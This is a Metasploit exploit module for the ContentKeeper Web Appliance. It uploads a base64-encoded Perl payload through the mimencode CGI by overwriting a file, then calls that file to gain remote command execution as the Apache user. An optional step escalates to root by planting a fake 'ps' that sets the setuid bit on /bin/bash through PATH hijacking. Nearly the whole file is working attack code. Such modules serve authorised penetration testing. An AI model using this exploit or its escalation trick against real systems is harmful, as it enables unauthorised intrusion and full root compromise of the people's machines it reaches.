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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'		   => 'ContentKeeper Web Remote Command Execution',
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      'Description'  => %q{
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          This module exploits the ContentKeeper Web Appliance. Versions prior
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        to 125.10 are affected. This module exploits a combination of weaknesses
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        to enable remote command execution as the Apache user. By setting
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        SkipEscalation to false, this module will attempt to setuid the bash shell.
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      },
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      'Author' 	   => [ 'aushack' ],
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      'Arch'		   => [ ARCH_CMD ],
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      'License'      => MSF_LICENSE,
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      'References'   =>
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        [
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          [ 'OSVDB', '54551' ],
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          [ 'OSVDB', '54552' ],
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          [ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
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        ],
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      'Privileged'	=> false,
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      'Payload'      =>
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        {
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          'DisableNops' => true,
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          'Space'       => 1024,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic perl telnet',
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            }
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        },
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      'Platform'     => ['unix'],
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      'Targets'      =>
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        [
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          [ 'Automatic', { } ]
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        ],
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      'DisclosureDate' => '2009-02-25',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        Opt::RPORT(80),
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        OptString.new('OVERWRITE', [ true,  "The target file to upload our payload (spamkeeper.dat, bak.txt, formdate.pl etc)", 'spamkeeper.dat']),
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        OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
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      ])
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  end
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  def check
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    connect
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    sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n")
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    banner = sock.get_once(-1, 3)
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    disconnect
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    if (banner =~ /500 Internal/)
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      return Exploit::CheckCode::Vulnerable
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    end
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      return Exploit::CheckCode::Safe
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  end
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  def exploit
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    exp = "#!/usr/bin/perl\n"
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    exp << "print \"Content-type: text/html\\n\\n\"\;\n\n"
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    exp << "use IO::Socket::INET;\n"
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    if (datastore['PAYLOAD'] =~ /perl/)
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      if not datastore['SkipEscalation']
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        print_status("Attempting to facilitate root escalation...")
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        exp << %q{ system("echo /bin/chmod u+s /bin/bash > ps; /bin/chmod o+x ps; PATH=.:$PATH; ./benetool stopall;"); } # We can use either 'ps' or 'grep' but ps is fine.
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      end
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      exp << payload.encoded.gsub('perl -MIO -e ', '').gsub('\'', '') # We're already inside a perl script!
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    else
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      exp << "system(\""
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      exp << payload.encoded.gsub('"', '\"')
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      exp << "\");\n"
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    end
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    body = Rex::Text.encode_base64(exp)
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    connect
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    sploit = "POST /cgi-bin/ck/mimencode?-u+-o+#{datastore['OVERWRITE']} HTTP/1.1\r\n"
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    sploit << "Host: #{datastore['RHOST']}\r\n"
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    sploit << "Content-Length: #{body.length}\r\n\r\n"
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    print_status("Uploading payload to target...")
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    sock.put(sploit + body + "\r\n\r\n")
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    disconnect
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    select(nil,nil,nil,3) # Wait a few seconds..
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    print_status("Calling payload...")
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    connect
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    req = "GET /cgi-bin/ck/#{datastore['OVERWRITE']} HTTP/1.1\r\n" # Almost all files are owned by root, chmod'ed 777 :) rwx
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    req << "Host: #{datastore['RHOST']}\r\n"
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    sock.put(req + "\r\n\r\n")
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    handler
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    disconnect
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    select(nil,nil,nil,3) # Wait for session creation.
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    if not datastore['SkipEscalation'] and session_created? and datastore['PAYLOAD'] =~ /perl/
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      print_status("Privilege escalation appears to have worked!")
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      print_status("/bin/bash is now root setuid! Type 'bash -p' to get root.")
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      print_status("Don't forget to clean up afterwards (chmod -s /bin/bash and restore an original copy of the OVERWRITE file).")
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    end
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  end
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end
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